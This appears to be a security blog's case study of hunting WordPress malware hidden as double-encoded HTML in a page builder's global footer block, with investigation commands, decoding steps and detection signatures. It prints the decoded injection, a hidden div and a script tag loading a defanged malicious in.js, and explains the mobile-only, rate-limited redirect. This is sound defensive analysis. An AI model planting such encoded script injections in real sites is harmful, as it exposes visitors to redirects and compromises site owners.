Hunting WordPress Malware Hidden in Double-Encoded Page Builder Content
Hunting WordPress Malware Hidden in Double-Encoded Page Builder Content
A case study in persistence: When standard security tools fail, detective work begins.
The Problem
We have a customer who moved a website from another hosting provider to one of his servers. One problem—it was infected before the move.
The infection was clever:
- Mobile-only triggers — Desktop users never saw it
- Redirect destination:
hxxps://www.dubaidxbairport[.]com - Rate-limited: Only triggered twice per 24-hour period per device
We ran all our scans—nothing. Our customer had already used MalCare and Wordfence. They didn’t find anything either.
Game on.
Initial Discovery
I fired up Chrome DevTools and started reviewing the code generated for this website.
Bam! Found it in the Network tab—a script loading from instaembedcode[.]com/in.js that was triggering the redirect. Now to track down where it was hiding in the site.
The Search Begins (And Fails)
We started with the obvious approaches:
SQL searches for the malicious domains:
SELECT * FROM wp_posts WHERE post_content LIKE '%dubaidxbairport%';
SELECT * FROM wp_posts WHERE post_content LIKE '%instaembedcode%';
Nothing.
Grep across all files:
grep -rn "instaembedcode" /var/www/[redacted].com/htdocs/
grep -rn "dubaidxbairport" /var/www/[redacted].com/htdocs/
Nothing.
Searches for common obfuscation patterns:
grep -rn "atob\|StringFrom\|eval(" /var/www/[redacted].com/htdocs/wp-content/
Nothing abnormal.
WordPress core checksum verification:
wp core verify-checksums --allow-root
All clean.
So where was it hiding?
Following the Breadcrumbs
Back to the source. Looking at the rendered HTML, we spotted something interesting near the malicious script injection—a suspicious style block:
.boxes3{height:175px;width:153px;}
And a hidden div with telltale signs:
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
We searched for these fingerprints:
grep -rn "0pt" /var/www/[redacted].com/htdocs/wp-content/themes/salient/
Still nothing in the files. Time to dig deeper into the database.
Database Deep Dive
We checked for large serialized option values that might contain hidden payloads:
SELECT option_name, LENGTH(option_value) as len
FROM wp_options
WHERE LENGTH(option_value) > 10000
ORDER BY len DESC LIMIT 20;
Then searched for options containing script references:
SELECT option_name FROM wp_options WHERE option_value LIKE '%script%src%';
This returned several options including:
salient_reduxptk_patterns- Various transients
The salient_redux option caught our attention—it contains theme settings for the Salient theme and could have injections hidden within.
Narrowing Down the Location
We knew from the page source that the infection appeared in the Contact section, above the footer. We searched for related posts:
SELECT ID, post_title FROM wp_posts
WHERE post_content LIKE '%contact-us%'
OR post_content LIKE '%instagram%';
This returned several results, including post IDs 597 and 599 titled “Contact.”
Then we examined the theme settings:
SELECT option_value FROM wp_options WHERE option_name = 'salient_redux';
Buried in the serialized data, we found our smoking gun:
"global-section-above-footer";s:3:"597";
The global footer section—which loads on every page—was pointing to post ID 597.
The Payload Revealed
We queried the post content:
SELECT post_content FROM wp_posts WHERE ID = 597;
The result contained massive blocks of what appeared to be base64-encoded strings inside a WPBakery page builder shortcode:
[vc_raw_html css=""]JTNDYmxvY2txdW90ZSUyMGNsYXNzJTNEJTIyaW5zdGFnc...
Double-Encoded Malware
Here’s why our searches failed: the malware was double-encoded.
The content was:
- First URL-encoded (
<becomes%3C, etc.) - Then base64-encoded
This is why searching for “instaembedcode” returned nothing—the actual stored string looked completely different.
To decode it:
# Extract the base64 content and decode it
cat /tmp/b64_content.txt | tr -d '\n' | base64 -d > /tmp/decoded_url.txt
# URL-decode the result
cat /tmp/decoded_url.txt | python3 -c "import sys, urllib.parse; print(urllib.parse.unquote(sys.stdin.read()))" > /tmp/decoded.html
# Search for the malware signatures
grep -i "embedista\|instaembedcode" /tmp/decoded.html
Finally:
<a href="hxxps://www.embedista[.]com/fb-post">
<script type="text/javascript" src="hxxps://instaembedcode[.]com/in.js">
The Full Malware Structure
The attackers had appended their payload to a legitimate Instagram embed widget:
<!-- Legitimate Instagram embed ended here -->
</script>
<!-- Malware began here -->
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">
<a href="hxxps://www.embedista[.]com/fb-post">
Embed facebook post
</a>
</div>
<script type="text/javascript" src="hxxps://instaembedcode[.]com/in.js">
</script>
<style>
.boxes3{height:175px;width:153px;}
#n img{max-height:none!important;max-width:none!important;background:none!important}
#inst i{max-height:none!important;max-width:none!important;background:none!important}
</style>
The external JavaScript (in.js) handled the redirect logic, including:
- Mobile device detection
- localStorage-based visit counting
- 24-hour delay between redirects
Why This Malware Was So Effective
- Double encoding defeated text-based database searches
- Hidden inside legitimate content (Instagram embed) made it look normal at a glance
- Global section injection meant one payload infected every page
- Mobile-only targeting meant desktop-based security reviews missed it
- Rate limiting prevented detection during casual testing
- Page builder storage — raw HTML blocks in WPBakery are rarely scrutinized
Can You Search for Base64 Patterns?
One question that came up during this investigation: could we have base64-encoded “instaembedcode” and searched for that?
No. Base64 encoding depends on byte alignment. The same text encodes differently depending on its position:
echo -n "instaembedcode" | base64
# aW5zdGFlbWJlZGNvZGU=
echo -n "Xinstaembedcode" | base64
# WGluc3RhZW1iZWRjb2Rl
echo -n "XXinstaembedcode" | base64
# WFhpbnN0YWVtYmVkY29kZQ==
Three completely different outputs for the same target string.
Remediation
We wrote a PHP script to:
- Decode the base64 content
- URL-decode the result
- Strip the malicious code while preserving the legitimate Instagram embed
- Re-encode and update the post
Detection Signatures
If you’re hunting for this malware family, look for:
instaembedcode[.]comembedista[.]comdubaidxbairport[.]com.boxes3CSS class- Hidden divs with
height: 0pt; width: 0pt - Large base64 blocks inside shortcodes
- localStorage-based visit counting in external scripts
Key Takeaways
- When standard tools fail, go manual. Chrome DevTools Network tab was the breakthrough.
- Follow the render path. The malware wasn’t in files or plain database text—it was in encoded page builder content that only became visible when rendered.
- Check global sections and templates. One infected widget can compromise an entire site.
- Understand the encoding layers. Double-encoding (URL + base64) defeats simple text searches.
- Mobile-only + rate-limited = hard to detect. Test on actual mobile devices and clear localStorage between tests.
- Page builders are hiding spots. Raw HTML blocks in WPBakery, Elementor, and similar tools deserve extra scrutiny.